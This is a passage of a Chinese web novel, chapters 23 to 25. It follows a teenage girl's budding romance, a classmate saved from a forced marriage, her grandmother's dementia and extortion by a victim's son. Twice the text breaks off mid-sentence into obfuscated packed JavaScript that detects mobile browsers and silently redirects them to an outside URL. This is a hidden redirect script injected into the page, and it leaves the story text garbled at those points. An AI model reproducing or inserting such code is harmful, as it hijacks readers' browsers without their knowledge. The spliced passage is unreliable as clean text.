南鱼回到房间,洗漱后她躺在床上怎么也睡不着。 她干脆打开程遇送她的MP3听英文单词,试图催眠自己。 英文单词一个一个在耳边播放,南鱼困意逐渐袭来。 不知过了多久,单词播放完毕,MP3里传来一阵歌声。 “……你出现在我诗的每一页,雨下整夜我的爱溢出就像雨水,院子落叶跟我的思念厚厚一叠……” 还挺浪漫。 半梦半醒间,在这一阵歌声中,南鱼带着笑意睡着了。 23. 第 23 章 除夕过完没两天,程佑军要带着王秀敏和程宿回王秀敏的娘家。 王秀敏和程宿先上了车,程佑军站在大门口看了眼程遇,“今年过完年转回市里吧。” “不用。”程遇拒绝地干脆。 程佑军蹙眉,“还跟我生气呢?你再生气也不能拿自己的成绩开玩笑。” “我在这也能考好。”程遇依旧是淡淡的语气。 程遇脾气犟,程佑军实在拿他没办法,他有些生气地离开了。 刘雁花拉住他,一脸担心,“你怎么不跟你爸回去呢,市里学习条件好,你拿药也方便。” 程遇摇头,“没事儿,奶奶,我在这就挺好。” 刘雁花止不住地叹气。 这个年过得真糟心,以前那些平和的假象被揭开,露出的全是坏死已久的脓疮,这个家,终究不会再像以前一样了。 送走他们,每天不用再看见令人倒胃口的脸,程遇的生活过得更加自在。 他雷打不动地去南鱼家“报道”,两人除了一起学习以外,还会凑在一起听歌。 彼时周杰伦许嵩徐良这些歌手风靡,南鱼往MP3里下了好多他们的歌,原来买来主要为了让她学习的工具回归了原本的功能。程遇也没拦着,送出去的东西能让她开心就好。 转眼到了开学,新学期伊始,徐奇剪了头发,捧着保温杯满面春光的进到教室,一切都和上学期刚开学一样,他在教室发表了一通长篇大论。 有的地方又和上学期不太一样,比如,之前班级座位全都由徐奇根据学习成绩直接排好,而这学期,他采取的是成绩从高到低让学生自己挑座位。 程遇是第一名,理所应当先挑座位。 大家磨磨蹭蹭地往教室外面走,程遇偏头看了眼南鱼说:“一会儿我还挑这里的座位。” 言外之意是让南鱼选位置的时候还坐在他的旁边。 南鱼生了逗弄他的心思,“可是我想换一个位置哎。” “你想坐哪?”程遇问。 “看我心情。” “……” 前面有五十一人先挑座位,南鱼不着急,她头发散了下来挡住耳朵,戴上耳机站在栏杆旁用MP3听歌。 程遇不知道跟徐奇说了什么,他没有第一个进去。 南鱼看到他转身朝她走过来,最后停在了她的身边。 “我跟徐奇说过了,我们两个人的位置不变。”程遇神色如常的说。 “……”南鱼把耳机摘了下来,笑道,“你这是干什么?我都说我想换座位了。” “你换哪?”程遇有后招,“我跟徐奇说了,不管我坐哪,我的同桌一定是你。” 南鱼双手抱拳,“大哥,我真的是服了你了。” 最后的两个位置也没人选,程遇和南鱼在教室外站到最后才回去。 进教室的时候,南鱼觉得自己后背冷飕飕的,她看过去,徐奇一脸不友好的盯着她看,试图在怪罪她把他最欣赏的学生“拐带”走。 南鱼无所谓的耸耸肩,跟着程遇进了教室。 她坐到座位上,看到斜前方坐着的人时,十分意外。 万以荣转过身,忽视南鱼探究的眼神,对着程遇说:“谢谢你的笔记,上次期末我的成绩提高了不少。” 她是真心实意地道谢,在程遇学习笔记的帮助下,再加上不断地给人讲题锻炼思路,她这次期末考了639,比之前要提高不少。 要知道,上了六百分的坎,每提一分都十分艰难。 “不用客气。”程遇没有多余的语气,声音很淡。 被冷淡对待,万以荣也不觉得尴尬,她淡定地转身过去端正地坐好,低头开始写题。 南鱼戳了戳程遇的胳膊,“你什么时候跟她这么熟了?” “有么?”程遇问。 “有,”南鱼点头,“你把你的学习笔记给她了。” “那是为了让她帮忙,”程遇说,他打量着南鱼,“你也想要?” “当然!” “没有了,只有一本。” 这本学习笔记还是程遇在高一的时候写的,记录了他学习上的一些心得和总结的各类问题的解题方法。 南鱼看着有些不开心,程遇笑了下,压低声音说:“有我做你的专职老师还不够么?这可是独一份的待遇。” “勉强够吧。”南鱼托着下巴,眼中带着调侃的意味。 “勉强?”程遇往她桌子上气定神闲地压了好几本资料,“那今天你勉强把这几本的前两课做完吧,” 南鱼:“……” 自作孽不可活。 开学好几天,南鱼才意识到自己好像没有看到刘念娣。 往常刘念娣不说每天都来找她说话,也会隔个一天和她打声招呼。 但这已经差不多一周了,刘念娣都没来上学。 南鱼琢磨着哪天去她家看看怎么回事儿,但转念一想,万以荣就坐在她的斜前方,身为班长,她知道的应该比较多,于是南鱼踢了踢她的凳子。 “喂!”南鱼叫她。 万以荣回过头瞥她,“有什么事儿?” “你知道刘念娣为什么没来上学么?”南鱼问。 万以荣有些意外,没想到南鱼会问她这个事情。 不过…… 万以荣如实摇头,“我不知道。” “亏你还是班长呢,一点都不关心班上同学的状况。”南鱼扯扯嘴角,呛了她一句。 “我要能关心过来,你之前成绩至于倒数拖班级后腿?”万以荣也不饶人。 南鱼撇撇嘴想反驳,但发现她说的是实话。 “我今晚放学去她家看看。”万以荣看了看她说。 南鱼斜了她一眼,“随便你。” “……” 放了学,万以荣和南鱼走在同一条路上,两人一前一后,谁也没搭理谁。 因为是去找女生,程遇这次没有和南鱼一起。 万以荣走在最前面,时不时地往后看一眼南鱼,南鱼拎着书包,又反看回去。 两人之间气氛微妙。 一直就这样相伴走到刘念娣家,她们两个还没有来得及敲门,就听到里面传来一阵哭声。 “爸,我不结婚,我不要嫁给那个人,我要读书,我还要去读书呢!”刘念娣边哭边说。 紧接着是一阵怒吼声,“你读什么书!读那么多书有用?我告诉你刘念娣,彩礼我都收了,这婚你不结也得结!” 南鱼和万以荣在门外对视一眼,两人默契地推门冲了进去。 万以荣护在刘念娣身前,南鱼正对上暴怒中的男人。 家里被人闯入,男人先是愣了一下,随机愤怒地指着她们,“你们两个是谁?干什么闯到我家!” 万以荣皱着眉,仍旧保持着礼貌,“叔叔,我是刘念娣同学的班长,她好几天没来上学,老师让我来看一下什么情况。” “什么情况?今天就告诉你,刘念娣不读了,我明天就给她去办退学!你们赶紧给我滚!”男人说话毫不客气。 南鱼眯了眯眼,“你说谁滚呢?” 男人吐了口吐沫,“当然是你们这群小兔崽子!” 南鱼冷笑一声,握紧了拳。 刘念娣泪眼朦胧,“爸,你别骂她们,她们是我朋友。” “朋友?你交的哪门子朋友?我今天就把话放这儿了!刘念娣你明天必须去男方家!” 万以荣没想到是这种情况,她眉心突跳,“你这是在卖女儿!” “老子卖女儿怎么了?管你们屁事!”男人说话十分粗鄙。 万以荣气得满脸通红。 南鱼面无表情地拉着刘念娣的手,“我们走。” 刘念娣看看她,红着眼点头。 男人拦在她们面前,“走?你们要带我女儿去哪?” 南鱼冷眼看他,“让开。” 男人高大壮实的身体把大门挡得严严实实,刘念娣有些害怕,她小声抽泣,“南鱼,要不你们走吧。” “我们一起走。”南鱼语气坚定。 “刘念娣!”男人死死地瞪着刘念娣,“你长本事了?给我滚回房间!” 刘念娣又缩了缩肩膀,南鱼紧紧地抓着她的手安慰她。 “你们给脸不要脸是吧?赶快松开我女儿!”男人直接去拉刘念娣胳膊,他的力气很大,刘念娣被扯得生疼,眼泪一下落了下来。 男人怒了,他扬起胳膊就要往刘念娣身上打,万以荣把刘念娣连忙拉到一边,瞪着他,“你这是家暴!我要报警!” “报警?我看哪个警察敢管老子家事儿。” 男人继续动手,南鱼护在她们面前,对万以荣说:“班长,你先带她走,去找宁老师。” 万以荣点点头,拉着刘念娣离开。 男人要去拽她们,南鱼拦在他身前。 眼看两人就要逃走,男人对着屋子里大喊:“宝儿他妈,你还不赶紧出来!那妮子要跑了。” 形式陡然逆转,一个女人飞速从屋子里跑了出来,拉住刘念娣,“念娣,你去哪!快跟我回去!” 刘念娣回头,泪眼婆娑,“妈!” “走!跟我回去!”女人咬咬牙,用力拉她,“你爸收了钱,你不能跑。你跑了是要还钱的。” 刘念娣如同被雷击了一样,整个人愣在了原地,她没想到她妈妈也是这样。 前几天,她爸逼她的时候,她妈妈明明也还在劝他,怎么一转眼,就变样了呢? “阿姨!你忍心看你女儿被推进火海?”万以荣试图唤醒她的良知。 但没用。 女人红着眼,“这是为她好!哪个女娃不结婚的!” 她的力气很大,万以荣有些拉不住,刘念娣像个人偶一样被她们拉来拉去。 男人这边趁着南鱼不注意绕开了她,径直朝着刘念娣走过去。 看着刘念娣挣扎的样子,他怒火中烧,抬脚就要往她身上踹。 “刘念娣!”南鱼用力喊她。 刘念娣茫然转身,男人的身影出现在她的眼中。 她忍不住闭上了眼。 想象中的疼痛没有出现,她睁开眼睛,宁倩捂着肚子护在她的面前。 她的脸色苍白,嘴唇不停地颤抖,“都停下!” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16309078|182562||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >“你是谁?”男人厌恶地看着又一个来阻止他的女人。 “我是她们的语文老师,”宁倩被万以荣扶了起来,她身体止不住地颤抖,呼吸间觉得肋骨都是痛的,“刘念娣爸爸,你们这样对孩子不太好吧?囚禁孩子不让她上学,她还没成年你们就想着把她卖给别人!我已经报警了。” 男人正想昂着脖子接着说什么,程伟建推门走了进来,在他的压制下,男人立马偃旗息鼓。 简单了解情况后,宁倩被送去了医院检查,南鱼几个人跟了过去。 最后检查结果出来,她的肋骨断了两根,十级伤残。 宁倩抓着这个结果不放和刘念娣家人谈条件,说如果他们不让刘念娣读书去家人的话,宁倩就要告他们。 男人不同意,程伟建在一旁语气凌厉地给他普法,说如果宁倩告他的话,他极有可能被判三年以下有期徒刑,并且赔偿几万。 男人听后就不说了,最终同意了她的要求。 男人临走时,狠狠地瞪了刘念娣一眼,“以后我是不会供你读书的,就当家里没你这个女儿!” 刘念娣的妈妈也深深地看了她一眼,不再管她跟着男人离开了。 刘念娣看着他们的身影,眼泪又要掉下来。 男人走后,宁倩在病房里把刘念娣叫过去,问她:“你想读书么?” 刘念娣点点头,哭得不行,“宁老师,我想读书,我不想嫁人。” 宁倩点点头,示意一旁的南鱼给她拿纸,南鱼抽了张纸递给刘念娣,刘念娣小声地说了句“谢谢”。 “那就好好读书吧,你高中的学费和生活费我资助你。”宁倩说。 刘念娣猛地抬头,她鼻头酸得不行,“宁老师。” “念娣,你要记住,你要逃离这里,只有拼了命地读书,读书是你唯一的出路。你爸妈的思想愚昧,认为女孩子的唯一价值就是嫁人,但不是这样的,我们女孩子的天地也是广阔的,你以后可以去看山看海,看遍世界上所有美好的东西,你可以在任何领域闪闪发光实现自己的价值,你有你自己的价值,这种价值不是由别人去评估的,是由你自己决定的。但这一切的前提是你要努力,努力摆脱现在的生活,你知道么?”宁倩语重心长地说。 “我知道,宁老师,我会努力的,”刘念娣抽了抽鼻子,想到妈妈临走时的眼神眼泪又忍不住落了下来,“可是宁老师,我不明白,今天我妈妈为什么也不让我走,明明她之前也是和我站在一边的。” 宁倩叹了口气,她摸了摸刘念娣的头发,“不是所有的父母都生来爱自己的孩子,你向前走的第一步,就是要接受你的妈妈其实并不爱你,不过这并没有什么关系,人生来都是孤独的。他们只是给予了你生命,带你来到这个世界上,他们不爱你,你也应该学着亲情剥离。你现在越觉得痛苦迷茫,越需要自己变得强大起来,独立起来。因为一个独立而自由的灵魂,才是幸福之源,只有你真正的精神独立了,专注自己,你才能不被他们影响,才能让自己幸福。人活一世,要先考虑自己的感受,不要浪费自己的情感在一个不爱你的人身上。” 刘念娣咬着唇默默流泪,宁倩又叹了口气,轻轻地拍着她的背等待着她发泄完情绪。 在万以荣的极力邀请下,最后刘念娣是跟着她回家的。 南鱼出了医院门,看到程遇正站在门口等她。 看她出来,程遇迎了过去。 “你怎么来了?”南鱼心情有些不好,语气恹恹的。 “我听别人说的,宁老师进了医院。”程遇从南鱼手中拿过书包,背在身上。 南鱼“嗯”了声,程遇没有问她到底发生了什么事,只是默默地陪在她的身旁。 太阳早已落山,路灯昏黄,两个人的身影被光拖长。 幽深寂静的小巷中,隔壁高墙内时不时传来两声狗叫。 “程遇,”南鱼突然开口叫了他一声,她顿下脚步,抬头看着漆黑的天,“你说,这个世界真的会好么?” 程遇垂下眸看她,“为什么这么说?” “我不知道,我只是突然觉得,好像我身边的一切都很糟糕,每个人都有自己的痛苦,这种痛苦很难挣脱,就是觉得有些窒息。”南鱼有些迷茫。 从小时候她饱受歧视受别人冷落,到目睹程遇被他所谓的弟弟后妈步步紧逼,再到刘念娣因为父母重男轻女要被剥夺读书的权力。 这一切都好糟糕。 “一定会好,”程遇手轻压在南鱼的肩膀,认真地说,“因为这个世界上有许多像你一样充满勇气的人去反抗这个糟糕的世界。” “可是我能改变的太少了。” “至少你努力过,不是么?” “南鱼,你已经很棒很棒了,”南鱼抬头看他,他说,“你知道么?你是我见过的最勇敢的女生,也是最好的女生。” 南鱼忍不住笑了一下,“也只有你这么觉得了。” “是么?那我真的很庆幸。” “庆幸什么?” “能够发现你的好。” 灯光下的程遇,眼神温柔缱绻。 南鱼看着他,这一刻她好像沉溺了。 24. 第 24 章 刘念娣的父母自那天起没有再作妖,估计是怕宁倩起诉他们。 他们也不再管刘念娣,只当没了这个女儿。 宁倩的意思是等到她出院了让刘念娣和她住,出院之前这段时间让她在万以荣或南鱼家先住一段时间。 刘念娣同意了,现在她根本不想再回到自己家看到她的父母。 南鱼陪着刘念娣回去收拾东西,刘念娣的爸爸出来拦她,声称这是他掏钱买的,刘念娣没有资格带走任何东西。 刘念娣涨得满脸通红,南鱼牵住她的手安慰她,冷冷地对男人说:“她带走的东西我出钱买了。” 说着,往男人面前放了一千块钱。男人见状,冷哼一声收了起来,嘴里嘟囔着说给少了,但也没有再阻拦。 刘念娣收拾着东西,南鱼打量着她的房间。她的房间很小很乱,里面堆满了各种乱七八糟的东西,说是杂物间也可以。一张小小的床挤在最角落,看起来格外可怜。 刘念娣带的东西很少,只有两套换洗的衣服和书包文具。 收拾好刘念娣和南鱼一起离开,突然从左边的屋子里冲出来一个胖胖的小男孩儿,那男孩一冲出来就对刘念娣拳打脚踢,“都怪你!都怪你!我的玩具汽车没有了!都怪你不嫁人!” 刘念娣下意识缩了一下脖子去躲,南鱼拎着小孩儿的衣服,恶狠狠地威胁他,“你敢再打她,信不信我废了你!” 她的眼神吓到了小男孩,小男孩儿登时哇哇大哭。 刘念娣的妈妈从房间跑出来,抱住小男孩儿,指着刘念娣大骂:“你个小贱蹄子,回来就招惹你弟弟是吧,你怎么不死在外面!” 刘念娣的眼眶瞬间红了,南鱼握了握她的手,刘念娣鼓起勇气,对着面前一脸紧张护着小男孩儿的女人说:“我没有招惹他,是他先打我的。” “你还说!你弟弟打你怎么了!你就该受着!”女人没想到她会顶嘴,立马气势汹汹地叉着腰拼命地瞪她。 南鱼忍不住皱眉上前,刘念娣拦住她。 “什么叫我就该受着,我不是你的孩子么?”刘念娣十分失望,“如果你不爱我,当初为什么要生下我。” “你不爱我没关系,妈妈,因为从今天开始,我也不会再爱你了。”刘念娣抽了一口气,看着她一字一句地说。 女人愣住了,似乎没想到她会说出这种话。等她再反应过来,刘念娣拉着南鱼已经走远了,她在后面破口大骂,用尽了毕生所学的所有脏话。但刘念娣,再也没有回头。 走远后,南鱼偏头看着浑身有些颤抖的女生,问:“你会后悔么?” 刘念娣抬头,用力地摇头,她的眼睛红红的,嘴角却是笑着的,“不后悔,我相信,我以后的日子都会是好的。” 南鱼看了她几秒,也笑了,“对,一定会是好的。” 刘念娣加入了程遇和南鱼每日学习中,万以荣知道了,也拿着作业每天凑过来,美名其曰不能把她自己一个人排除在外,她学习也可以,正好能帮程遇分担一些辅导的压力。 就这样,两人学习小组成为了四人学习小组。 刘德旋来找南鱼时惊呆了,他戳了戳刘愿生:“这是什么组合?” 刘愿生老实摇头:“不知道。” 刘德旋叹了口气,“我怎么觉得南姐跟我们不是一个世界的人了?” “那我们怎么办?”刘愿生问。 “既然这样,为了追上南姐的步伐,我们只能——”在刘愿生期待的眼神下,刘德旋一脸悲壮地说,“也跟着他们学习了。” 刘愿生:“?” 这算什么?另类的打不过就加入? 不管怎么说,刘德旋和刘愿生也开始每天拎着书在晚上放学后跟着去南鱼家学习。 奶奶见到自然很开心,每天都给他们提供各种水果零食。 南鱼每个月交稿的小说开始在晚上学习结束后抽出时间来写,虽然时间零碎,但一如既往地保持原来的水平。 她把新的小说发给木头时,木头看过后调侃她:【最近的文怎么这么甜?男主人设写的真好,是谈恋爱了?】 南鱼想起自己最近在写小说描写男主时,总是忍不住往程遇身上带入,她隔着屏幕脸有些发烫,但仍旧淡定的回:【没有。】 木头:【哎呀呀呀呀,是么?(???)我可不相信哈哈】 她怎么都不信,南鱼无奈,也不再多解释。 除了写小说的时间固定下来,南鱼在KTV的兼职也定在了周末两天,孙邢洲没什么意见,并且把南鱼卖酒的提成点往上提了提。 南鱼知道后笑着调侃他:“怎么着?这是在哪发财了?这么大方。” 孙邢洲没个正形地倚在前台弹弹烟灰,笑道:“你就当我发财了吧。” 南鱼笑笑没再说话,她知道孙邢洲是什么意思,他怕来她来兼职的时间少了挣得钱不够花。 不得不说,孙邢洲确实是个不错的人。 刘小妹在一旁接了句:“发财了不请客么?” 孙邢洲笑:“请,必须得请!” 算是聚餐,在最后一个包间的人走后孙邢洲关了店,带着几个人去吃饭。 天气渐暖,饭店的营业时间也变长,几个人坐那吃饱喝足已经是深夜了。 南鱼从饭店往家走,有一条巷子路灯前段时间坏了还没有修,巷子黑漆漆的,只有微弱的月光。 南鱼走在那里,也不知道是不是因为喝的有些醉的原因,她总觉得自己后面好像跟了一个人,但她转回去看,身后空荡荡的。 她摇摇头,觉得自己肯定是喝醉了。 她没有放在心上,悠闲地踱步回家,次日一早便忘了这件事。 她起床,头还有点疼,刚准备去厨房做点吃的,就听到奶奶房间里突然传来“噗通”一声响。 南鱼心提了起来,连忙跑了过去,她慌张推开门,奶奶正弯腰捡东西。 看到她,有些不解:“你跑那么急干嘛?” “没事,奶奶,你在干什么呢?”南鱼走了进去。 奶奶把掉地上的盒子捡了起来,从里面拿了一个发卡,笑眯眯地往南鱼头发上戴,“戴上,好看!” 南鱼乖巧地坐那不动,任凭奶奶把发卡戴在她头上。 戴好后,奶奶满意地举着镜子在她面前,“好看么?” “好看。”南鱼点头。 “芳英啊,”奶奶摸了摸南鱼的头发,眉眼慈祥看着她的脸,“生日快乐。” 南鱼的心“啪”地一下坠地,她浑身冰凉。 “奶奶?你说什么?”南鱼声音有些发颤。 “我说芳英,”奶奶顿了一下,像是突然反应过来,“哎!是小鱼儿啊!” 南鱼努力平复心情,但指尖仍旧有些颤抖,“是我,奶奶。” “你起床啦?快!去吃早饭去!”奶奶催着南鱼,“我都做好半天了!” 南鱼僵硬地点头,她往外走,忍不住回头,奶奶一脸笑意地向她摆手,她的眼睛忽然有些酸涩。 程遇来找南鱼的时候,南鱼正怔愣地坐在院子里发呆。 他搬了个凳子坐过去,南鱼察觉到身边来了人,她看过去,眼中带着些迷茫。 “怎么了?”程遇问她。 “程遇,”南鱼叫了他一声,鼻头有些酸涩,“我奶奶好像要不记得我了。” 程遇一愣,看着眼前有些脆弱的人,他沉默地握上了南鱼的手。 “为什么会这样呢?明明一直在吃药。”南鱼垂下眼睛,想要遮住泛红的眼眶。 “生老病死是自然界的规律,我们没办法控制,吃药只是延缓了病情进展的速度,”程遇低头看她,“我们能做的也只有这些,你已经尽力了。” 南鱼似是叹息,“真想带她出去看看这个世界。” 奶奶的前半生住了多年的家被一场洪水冲散,后半生为了她在这个小山村困了半辈子,她这一辈子没看过什么外面的世界,真的好想带她去看看啊。 程遇握紧了她的手,“一定会的。” 奶奶的情况越来越不好了,先是偶尔记不得她是谁,后来经常性地拉着她叫她妈妈的名字。 除了记忆力的衰退,她的脾气也变得越来越差,总觉得有人要害她。 放学后,南鱼一起回到家,发现她奶奶正站在门口和一个女人吵架。 那女人几乎要跳起来指着奶奶骂,“你个老不死的东西 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16319949|182562||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' !谁说我占你家的地了,你有证据么!那明明就是我家的地!你凭什么说是你家的地!” 奶奶气得不行,但也不饶人,“那就是我家的地!贱皮子占着我家的地不放,你不怕遭报应么!我在那块地种了几十年了,怎么就成了你家的地了!你要是不把地还给我,我明天就就去把菜给你拔了!” “你说什么?你敢拔我家的菜!”女人眼睛一瞪,叉着腰怒骂,“你要是把我家菜拔了!就有你好看的!老不死的东西!” 南鱼气得浑身发抖,她冲了过去,挡在奶奶面前,眼神像是卒了毒地盯着女人:“你再骂我奶奶一句试试!” 见是南鱼,女人收敛了一些,但她还是一脸尖酸刻薄,“怎么?老的不行小的上啊?你们没听说当初被你爸杀掉的孙福家里人回镇上了?好好的一家人哟!被你爸那个没良心的坏东西搞得支离破碎的,我要是你们,早都拉根绳子吊梁上死掉了!哪好意思出门!” “放心!要死也是你先死!”南鱼脸色瞬间冷了下来,她攥紧拳头,把书包丢到一旁,从院子里拿了根棍子对着她,“你滚不滚!” 她的眼神看起来要吃人,女人梗了一下脖子,最终灰溜溜地离开了。 女人走后,奶奶抹抹眼泪说:“你爸爸不是坏人,你爸不是坏人哟!” 南鱼心疼地掺着她安抚她,“是是是,我爸不是坏人。” “坏的是他们,凭什么遭罪的是我们!我可怜的玉山和芳英哟!” 女人的话终究是戳到了老太太的心窝上,老太太坐那一直哭个不停,也不肯吃饭。 南鱼劝不住,只能给其他几个人发消息今晚不要来找她。 但程遇还是来了。 他进了门就看到奶奶在院子里呜咽着,南鱼陪在她的身边安抚她,她们面前摆好了饭菜,但能看出来一口都没动。 “你怎么来了?不是给你们发消息今天不要来找我么。”南鱼语气有些冷淡。 “奶奶怎么了?”程遇没有回答南鱼的问题,直接在南鱼身边坐了下来。 奶奶仍旧在哭,“作孽啊!作孽啊!到底招谁惹谁了!” 南鱼垂着眸不说话,她紧握着拳,指尖泛白。 程遇一脸担忧,他先劝老太太,“奶奶!您还没吃饭么?” “吃不下去!我心口疼!”奶奶捂着胸口。 “这怎么能行呢?您得先吃饭,有什么事儿吃了饭再说,身体最重要。”程遇劝她。 “不行!不行!我死了算了!我还不如跟着老头子一起死在洪水里!”奶奶脾气又上来,晃晃悠悠站起来,“谁也别拦我!我今天要死在这!你们都想让我死!” “奶奶!”南鱼跟着站了起来,她眼尾泛红,把她按下来,“你这是干嘛!” “死了算了,死了算了。”奶奶仍旧在哭。 程遇看了眼南鱼,她胸膛剧烈起伏,努力平复着自己的呼吸。 程遇叹了口气,他到老太太面前,用哄小孩儿的语气哄她,“奶奶,您先吃饭,您之前不是说过,还要活得长长久久看南鱼考大学呢!南鱼现在学习那么努力,再有一年肯定能考一个好学校,到时候还要带着您去享福呢!” 奶奶的哭泣声变小,她浑浊的眼睛看着程遇,“小鱼儿考大学?” “对,小鱼儿以后还要考大学呢,以后您还要陪着她读大学呢,”程遇顺着她的话说,“您得吃饭,照顾好自己身体!” “好!好!吃饭。”奶奶终于不哭了,她拿起筷子夹菜。 南鱼终于松了口气。 看着奶奶吃了饭进屋休息,程遇帮着南鱼把院子收拾好。 再坐下来,南鱼一脸疲惫。 “现在能告诉我了么?”程遇问她。 南鱼嘴唇紧抿,脸色很不好。 “是因为你爸的事情?”程遇试探性的开口,“我最近听镇上的人在讨论这件事,他们说你爸曾经……那家人回来了。” 南鱼心烦意乱地“嗯”了声。 “他们说你们家因为那个人才搬到这里的,你爸他——” “我爸不是忘恩负义的人!他不是坏人!”南鱼眼尾更红了,她有些愤怒,“那个人的死,是他罪有应得!” 25. 第 25 章 一瞬间,程遇仿佛又回到了最开始见南鱼的时候,她浑身带刺,根本不让人靠近。 程遇无声叹气,他平静地看着她温声说:“我知道,我相信你。” 南鱼又渐渐收回了浑身的刺,她失了魂似的坐在那。 “你能告诉我么,当年发生了什么事?”程遇问她,语气中带着些关心。 南鱼怔怔地看着远处,沉默了许久才开口,“下次吧。” 程遇没有多问,他点点头,静静地陪着她坐在院子里。 南鱼开始和大家疏远了,她又恢复了上课下课睡觉发呆的日子,程遇要给她布置任务,她也冷冷地拒绝了。 放学后,她不再和任何人一起走,就连刘德旋也在她这碰了几次壁。 程遇不是没有去找过南鱼,但都被他拒之门外,无论他怎么敲门,南鱼都不开门。 与此同时,随着孙福一家人回到山内镇,关于当初南鱼爸爸杀人的事情又开始成了镇上人茶余饭后的谈资。 南鱼和奶奶出面更少了,当初和奶奶吵架的女人叫许慧巧,她经常站在镇上最宽的那条路上和别人讨论这件事儿。 说起上次在南鱼家门口跟南鱼奶奶吵架的情形,她往地上吐了一下瓜子皮说:“你们是不知道哟!那小姑娘厉害得不行!看着我的眼神像是要杀了我!我是看过了,说不定她也遗传到了她杀人犯爸爸的基因,你们可都得小心点,说不定哪天惹到她了她就拎刀过来把你们砍了!” 刘念娣的爸爸听到这事儿,也跟着过来踩她一脚,“可不是!我闺女就是跟她学坏了,以前她多听话啊,现在竟然闹着要和我们断绝关系,你们可得看好自己的孩子了,别跟她牵扯上变坏了!” 周围一圈听众听了他们的话一阵唏嘘,许多人都回家再三叮嘱自己家的孩子不要跟南鱼玩到一起,就连刘雁花也开始再三叮嘱程遇最近要离南鱼远一点,免得被这场风波牵扯进去。 程遇表情冷淡,没有回应她。他低头翻看手机,□□上他一个小时前给南鱼发了条消息,但没有得到回复。 程遇没觉得意外,他知道,从前几天开始,南鱼又把自己封闭了起来,一如以往那样。 又一天放学,南鱼拎着书包先一步出了教室。 刘念娣到程遇面前,有些担忧地看着她离开的身影,“程遇,你有办法么?现在南鱼根本不理我们,该怎么办呢?” 程遇低头将南鱼这段时间没有学习的知识点整理完毕,不疾不徐地把笔记本装到了书包里,抬头看她,“没事儿,我去找她。” 万以荣这个时候也转过身,“你之前不是找她了好多次么,但她都没理你。我觉得最关键的是大家一直在讨论南鱼爸爸这件事,都过去那么久了,就算是那家人回来了也不应该引起这么大的讨论。” “所以你是怀疑有人在背后推波助澜?”刘念娣听她分析,提出了疑惑。 万以荣点头,“对!肯定是有人在背后搞鬼的,具体是谁,我们得给揪出来。” “那我们两个去找吧,程遇,你再去找找南鱼,她和你的关系最好了,你帮我们和她说,我和万以荣都相信她。”刘念娣对程遇说。 程遇点了下头,背着书包离开了教室,身后两个女生头凑在一起,认真地分析她们该怎么做。 南鱼出了学校,兜里揣着程遇过年送她的MP3,耳朵里插着耳机,面无表情地往家走。 路上有许多人的目光都落在她身上,跟旁边的人交头接耳小声议论她。 南鱼冰冷地眼神看过去,一些人吓得立马拉着同伴快速离开。 小镇也就这么大,传播消息的速度很快,南鱼倒不在意别人怎么说她,但奶奶在意,所以这几天,南鱼没有让奶奶出门,免得再听到这些流言蜚语跟别人吵架。 何况最近奶奶的情况也不太好,她还怕奶奶出门后再忘记回家的路。 南鱼从大路转到巷子里,她总觉得身后有人跟着自己。 南鱼眯了下眼,默不作声地把耳机取下来塞到兜里,往旁边一拐,向更深的巷子走去。 身后的脚步声越来越近,南鱼身影一闪,躲在了一棵树的后面。 一个身材矮瘦尖嘴猴腮的男人出现在她的视野中,男人站在原地,一脸懊恼地观察四周。 南鱼从树后走了出去,“你是要找我?” 男人看到她,发乌的眼睛亮了一下,“对。” “为什么跟踪我?”南鱼拎着书包,脸上没有任何情绪。 男人搓了搓手,吊梢眼中满是贪婪,“我是孙承坚,是你爸杀掉的孙福的儿子。” 南鱼眼神凌厉起来,探究地看着他。 孙承坚清了清嗓子,“你爸当年把我爸害死,害得我家当初没了顶梁柱,当年家里只有我爸一个劳动力,他走后我家过得很艰难……” 南鱼不想听他说这些有的没的,她冷声道:“我奶奶已经把欠的赔偿全部还给你们了!” “就那么点?根本不够!”孙承坚声音抬高,他的嗓子像被烟长年浸泡过的沙哑,“一条人命,你四万块钱就把我们打发了?我告诉你!你今天必须得再赔我们点儿!如果我爸在世的话,他挣得钱可不止这个数!” 南鱼算是明白了,孙承坚他们回来就是来要钱的。 可是当初,明明不是她爸爸的错,况且,奶奶已经赔了他们一笔钱了,他们还这么贪得无厌。 南鱼攥紧了拳,眼眸中迸射出道道冷光,像看垃圾一样看着他。 “你们如果不给的话,我们就一直在镇上住下去,让那些人好好看看我们家现在是有多惨!”孙承坚阴森森地一笑,“你应该知道舆论的力量吧,我在你家门口观察过好多次了,你不敢让你奶奶出门,难道你想让你奶奶一辈子都出不了门?” 南鱼把书包砸到他身上,死死拽住他的衣领,“你凭什么这么做!” 孙承坚有恃无恐地嘿嘿笑了两声,“我凭什么?就凭我是受害人家属!你要知道,你爸爸是个杀人犯,他把我爸杀了,他在大家眼里就是十恶不赦的人!” 南鱼胸膛抑制不住地剧烈起伏,有一股情绪压抑在她心口,在嘶吼,在叫嚣,这种情绪浓烈地几乎要把她淹没。 她恨恨地盯着他,几乎就要挥拳朝向他。 孙承坚一脸轻蔑,他也不挣扎,对着南鱼挑衅,“你打啊,你打我啊?你敢打我一下试试!我明天就能把你送到警局里!让大家都看看,杀人犯的女儿是如何打被害人的儿子的!让大家都知道,杀人犯的基因是会遗传的!杀人犯的孩子也会是杀人犯!” 